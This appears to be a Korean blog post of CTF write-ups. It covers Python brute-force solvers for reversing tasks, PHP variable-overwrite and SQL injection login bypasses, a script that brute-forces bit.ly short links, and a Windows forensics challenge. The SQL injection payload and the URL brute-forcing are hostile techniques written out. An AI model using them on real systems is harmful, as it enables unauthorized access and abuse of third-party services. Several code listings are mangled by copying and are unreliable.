        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    x=1
    if cipher[x] == flag[x] and cipher[x+1== flag[x+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
#yee = "TIMCTF{I_s33_you_UnDeRsTaNd_x86}"
yee= "TIMCTF{"
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Strange jump (250pts) 

This application likes to jump!

 

math와 동일. 플래그 인코딩하는 부분 찾아서 브포했다.

연산코드마저 math의 key xor하는 부분을 제외하면 math와 풀이 코드가 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def solv(input, q, p):
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9" #44
    cipher = "0"*55
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    y = 17
    if cipher[y] == flag[y] and cipher[y+1== flag[y+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
yee = "TIMCTF{"
 
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

math와 동일. 돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Web

Not so empty website (50pts) 

This website looks empty, but trust me, it is not!

페이지 소스에 나와있다.

 

 

Secret key of swag (150pts) 

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

parse()함수가 extract($_GET)과 같은 효과

$processed_key에 그대로 hax0r을 넣으면 끝.

 

 

Admin panel (200pts) 

Your job is to hack this admin panel and login.


sql 인젝션.

admin@admin

pw : ' or '1' = '1

 

반응형
반응형

지금은 문제가 없어졌다.

 

그냥 브포 문제라서 그런 것 같다.

 

저번 해캠때도 비슷한 브포 문제가 있었는데 출제자 분이 동일했던 것으로 기억한다. (제가 아는 분입니다.)

 

 

이번 문제 내용은 이렇다.

 

import random 
import sys 
url= ['h','t','t','p','s',':','/','/','x','x','x', '.' 'x','x','/','1','2','3','4','5','6','7'] 
 #url is https://xxx.xx/XXXXXXX 
 # flag in this site. #guess what !!!! 
random.shuffle(url) 
for i in range(0,21): 
    sys.stdout.write(url[i]) 
    sys.stdout.flush()

 

이렇게 소스 코드 하나 주고, 출력도 주는.....ㄷ....ㅔ??

 

Aㅏ 따로 저장해두지 않았다....

 

 

출력은 저 구해야 되는 url의 문자들이 랜덤으로 배치된 문자열을 준다.

 

url이 https://xxx.xx/XXXXXXX 이와 같은 형태라고 하는데 xxx.xx을 보고

0. 단축 url이다.

1. bit.ly

을 유추해 냈다.

 

출력값에서 h t t p s : / / b i t . l y / 을 빼내면 A B C D E F G가 남게 된다.

(이 문제는 단순 브포에다가 bit.ly에 5000번 정도를 접속을 해야 하기 때문에 그냥 문자를 ABCDEFG로 바꾸었습니다.

외부 공개된 CTF문제에서도 빠진 것을 보면, 굳이 그대로 올리는 건 좋지 않은 것 같았습니다.)

 

저 7개 문자를 가져다가 순열을 만들어서 다 접속해보면 된다.

 

from itertools import permutations
import requests

a = list(permutations(['A','B','C','D','E','F','G']))
url = "https://bit.ly/"

print(len(a))
for i in range(0, 5041): #4967
    print(i)
    b = a[i]
    b = str(b).replace(",", "")
    b = str(b).replace("(", "")
    b = str(b).replace(")", "")
    b = str(b).replace("'", "")
    b = str(b).replace(" ", "")

    d = url + b
    print(d)

    response = requests.post(d)
    print(response)

 

0. 200 응답만 오는 걸 출력하도록 조건문을 추가하는 것이 더 좋다.

1. 돌리다 보면 request에서 오류가 나는 경우가 있는데, 해당 url 다음 번째부터 다시 코드를 돌려주면 된다.

2. 코드가 잘 돌다가 어느 순간부터 403으로만 응답이 오면 bit.ly로 부터 차단된 것이다. 몇 분 기다렸다가 다시 시도해 c주어야 한다.

 

CTF때, url 하나 접속하고 응답받는데 약 2초정도 걸렸었다. 혼자 돌리는 건 매우 오래걸릴 것 같아서 팀원 2명과 같이 범위를 나누어서 돌렸었는데, 그 중 한분이 구글 콜라보레이터를 알려주시면서 빠르게 코드를 돌릴 수 있었다.

 

4000개쯤 시도했을 때... 이거 다 돌려도 안나오면 어떡하지 라는 걱정을 했었는데 결국 4967번째에서 찾을 수 있었다.

(뒤에서부터 돌릴걸 그랬다.)

반응형
반응형

헐... ? 누군가가 장난을 쳐두었어 ! 3가지를 찾아줘 ! 플래그 포맷

HCAMP{삭제 된 유저_메모프로그램에 저장된 숫자_부팅 시 조작 된 프로세스명}

 

[+] 삭제 된 유저는 로그에서 찾을 수 있습니다.

[+] 메모 프로그램은 sticky note입니다.

[+] 부팅 시 로드 되는 화면은 레지스트리에서 관리합니다.

 

 

 

TEAM : 속4Four

대회때 느린 다운로드 속도 + 제한된 데이터량 때문에 이미지파일을 못 받았다가

다음날 와이파이로 접속해서 다운받아 풀었다.

 

vmware로 열려다가 부팅이 안되길레 그냥 FTK Imager로 열어서 풀었다.

 

삭제 된 유저는 로그에서 찾을 수 있다. -> 이벤트 로그

유저 관련 이벤트 로그는 Security.evtx다. 해당 로그파일을 추출해서 이벤트 뷰어로 보면되는데, 삭제로그 이벤트 ID는 4726이다. id로 정렬하면 id가 4726인 로그를 하나 찾을 수 있다.

 

로그 내용에서 '계정 이름: Bn312'을 찾을 수 있다.

 

 

 

 

 

 

 

메모프로그램 (sticky note)에 저장된 숫자 -> sticky note 세이브 파일을 찾으면 된다.

세이브 파일 경로를 검색했을 때

 

C:\Users\계정명\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\localstate

로 찾을 수 있었는데, 해당 경로가 존재하지 않아서, 다른 경로를 찾아 보았다.

 

https://tirtir.tistory.com/entry/%EC%8A%A4%ED%8B%B0%ED%82%A4%EB%85%B8%ED%8A%B8-%EA%B5%AC%EB%B2%84%EC%A0%84-%ED%8C%8C%EC%9D%BC-%EC%9D%BD%EA%B8%B0snt

 

스티키노트 구버전 파일 읽기(.snt)

C:\Users\계정이름\AppData\Roaming\Microsoft\Sticky Notes 안에 위치한 이 파일만 백업한 후 윈도우 업그레이드를 시작했는데.. 새 버전의 윈도우10에서는 아무리 찾아도 넣어야 할 폴더가 보이지 않는다. 업무..

tirtir.tistory.com

 

위 블로그 글을 참고했다. 이미지 파일에서 snt파일을 추출해서 내 컴퓨터에 덮어쓴 후에, sticky note를 실행해주면

저장된 메모가 나온다. 여기서 '저장된 숫자' = 589319235를 구할 수 있다.

 

 

 

 

 

 

 

 

부팅 시 조작 된 프로세스명은 레지스트리에서 찾을 수 있다고 한다.

역시 검색을 해보았다.

 

 

https://ploiu.tistory.com/30

 

[윈도우] 윈도우 구동시 자동시작프로그램 로드순서

[윈도우] 윈도우 구동시 자동시작프로그램 로드순서 얼렁뚱땅 2006.12.01 09:31 윈도우를 구동할시에는 윈도우가 자동적으로 로드를 하여 구동을 시키는 프로그램들이 있는데, 이를 (자동)시작프로그램 이라고 합..

ploiu.tistory.com

여기에서 관련된 레지스트리를 찾았다.

 

SOFTWARE 레지스트리 파일을 추출해서 분석하면 되는데, 

SOFTWARE > Microsoft > Windows > Run 에 shell이라는 이름으로 h33cxkqi1531 라는 값이 들어있었다.

 

 

해서 flag는 HCAMP{Bn312_589319235_h33cxkqi1531}가 된다.

반응형

+ Recent posts